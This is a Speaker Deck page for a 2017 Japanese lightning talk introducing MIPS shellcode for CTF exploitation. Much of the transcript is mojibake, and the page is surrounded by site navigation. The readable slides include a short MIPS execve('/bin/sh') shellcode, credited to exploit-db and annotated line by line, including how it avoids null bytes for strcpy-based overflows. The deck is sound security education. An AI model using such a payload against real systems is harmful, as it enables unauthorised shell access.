Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
mipsシェルコード入門
Search
Chihiro Hasegawa
August 11, 2017
Technology
960
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
mipsシェルコード入門
2017年8月11日 CpawLT
Chihiro Hasegawa
August 11, 2017
More Decks by Chihiro Hasegawa
See All by Chihiro Hasegawa
大規模Cloud Native環境におけるFalcoの運用
owlinux1000
0
440
Sysdig Secure/Falcoの活用術! ~Kubernetes基盤の脅威モデリングとランタイムセキュリティの強化~
owlinux1000
0
1.7k
SECCON Beginners 2017 東京 Binary編
owlinux1000
1
140
Other Decks in Technology
See All in Technology
FinTech 1-2 : Overview of FinTech
ks91
PRO
0
130
SDDの運用にめげずに向き合った話
sansantech
PRO
0
100
Databricksメトリクスビューはじめてのもくもく会
taka_aki
0
160
HolmesGPTで始めるSREエージェント入門!プラットフォームの障害調査はAIにお任せ 〜
sanghyuk
0
260
Codex概要
ymiya55
0
230
AgentCoreで実践するハーネスエンジニアリング
yakumo
1
190
Lambda MicroVMsが分からなすぎたので使い所を1から考えてみた
tsukuboshi
2
300
高負荷プロダクション環境におけるAWS Lambdaのリアル 〜スケールとコストを左右する実行ライフサイクルの技術仕様〜
maimyyym
2
850
AWS DevOps Agent スキルをつかいこなそう / Master AWS DevOps Agent Skills
kinunori
2
660
2026-09-26 Platform Engineering Kaigi 2026 インフラとアプリの境界線と委譲の設計 / Drawing the Infra and App Line
masasuzu
0
570
カンファレンスに参加した後の浮遊感とセルフケア
pauli
0
300
キャリアLT今日までそして明日から
kentapapa
1
140
Featured
See All Featured
Intergalactic Javascript Robots from Outer Space
tanoku
273
27k
What's in a price? How to price your products and services
michaelherold
247
13k
Effective software design: The role of men in debugging patriarchy in IT @ Voxxed Days AMS
baasie
1
550
Sam Torres - BigQuery for SEOs
techseoconnect
PRO
0
560
Building Flexible Design Systems
yeseniaperezcruz
330
41k
"I'm Feeling Lucky" - Building Great Search Experiences for Today's Users (#IAC19)
danielanewman
230
23k
Ruling the World: When Life Gets Gamed
codingconduct
0
380
Measuring Dark Social's Impact On Conversion and Attribution
stephenakadiri
2
290
Organizational Design Perspectives: An Ontology of Organizational Design Elements
kimpetersen
PRO
1
840
Joys of Absence: A Defence of Solitary Play
codingconduct
1
530
SEOcharity - Dark patterns in SEO and UX: How to avoid them and build a more ethical web
sarafernandez
0
290
Max Prin - Stacking Signals: How International SEO Comes Together (And Falls Apart)
techseoconnect
PRO
0
470
Transcript
NJQTγΣϧίʔυೖ $QBX-5!ίϫʔΩϯάεϖʔεכொ $P&EP ݄ ۚ https://speakerdeck.com/owlinux1000
എܠ • $5' $BQUVSF5IF'MBH ͰγΣϧΛ ୣऔ͢Δδϟϯϧ1XO &YQMPJU ͕͋Δ • ͍͍ͩͨͷ͕YΞʔΩςΫνϟ
• ͨ·ʹଞͷΞʔΩςΫνϟͷͰΔ ˠ NJQTͷษڧΛͯ͠ΈΑ͏
എܠ • ໋ྩηοτɾΞʔΩςΫνϟҟͳΔ • Y্ͰɺNJQTͷ࣮ߦϑΝΠϧಈ͔ͳ͍ ˠ ԾతʹΤϛϡϨʔτ͢Δඞཁ͕͋Δ mov eax,
0x0 move v0, zero x86 mips
2FNVʹΑΔڥ࡞ • ຊ࣭Ͱͳ͍ͷͰׂѪ • #VJMEJOHB%FCJBO 4USFUDI2&.6 JNBHFGPS.*14FM<>͕Θ͔Γ͍͢ [1] https://blahcat.github.io/2017/07/14/building-a-debian-stretch-qemu-image-for-mipsel/
[2] https://ja.wikipedia.org/wiki/QEMU#/media/File:Qemu_logo.svg [2]
γΣϧίʔυ • ٛͷҙຯͰɺ߈ܸ༻ͷίʔυͷஅย • $5'Ͱ FYFDWF lCJOTIz /6-- /6--
Λ͢ΔίʔυΛΛࢦ͢ࣄ͕ଟ͍ • ΞηϯϒϦݴޠͰɺγεςϜίʔϧΛ ݺͿඞཁ͕͋Δ
γεςϜίʔϧ • Χʔωϧ͕࣋ͭػೳΛݺͼग़͢ࡍʹར༻ • WϨδελʹγεςϜίʔϧ൪߸ • ྫ PQFO ϑΝΠϧΛ։͘ •
BϨδελʹୈҰҾɾɾɾ • ্هΛઃఆޙɺTZTDBMM໋ྩΛݺͿ https://w3challs.com/syscalls/?arch=mips_o32
NJQTͷγΣϧίʔυ<> ΞυϨε ΞηϯϒϦ ίϝϯτ 0x1000 slti $a2, $zero, -1 $a2
<- 0 0x1004 bltzal $a2, 0x1004 $ra <- 次の命令のアドレス(0x100c) 0x1008 slti $a1, $zero, -1 $a1 <- 0 0x100c addu $a0, $ra, 4097 $a0 <- $ra + 4097 0x1010 addu $a0, $a0, -4081 $a0 <- $a0 – 4081 ($a0 = $ra + 16) 0x1014 li $v0, 4011 $v0 = 4011 (execveの番号) 0x1018 syscall 0x40404 システムコールを呼ぶ 0x101c .string "/bin/sh" [3] https://www.exploit-db.com/exploits/35868/
NJQTͷγΣϧίʔυ<> ΞυϨε ΞηϯϒϦ ίϝϯτ 0x1000 slti $a2, $zero, -1 $a2
<- 0 0x1004 bltzal $a2, 0x1004 $ra <- 次の命令のアドレス(0x100c) 0x1008 slti $a1, $zero, -1 $a1 <- 0 0x100c addu $a0, $ra, 4097 $a0 <- $ra + 4097 0x1010 addu $a0, $a0, -4081 $a0 <- $a0 – 4081 ($a0 = $ra + 16) 0x1014 li $v0, 4011 $v0 = 4011 (execveの番号) 0x1018 syscall 0x40404 システムコールを呼ぶ 0x101c .string "/bin/sh" [3] https://www.exploit-db.com/exploits/35868/ ※機械語に変換した時に”\x00”が⼊らないようなプログラムを意図的に作っている → str(n)cpyなどの関数を使っている場合、”\x00”があるとそこで途切れる
࣮ߦ݁Ռ
͓ΘΓ • NJQTͷγΣϧίʔυͷΈΛֶΜͩ • ڵຯ͕ग़ͨਓͥͻಡΜͰΈͯԼ͍͞
એ https://tokyowesterns.github.io/ctf2017/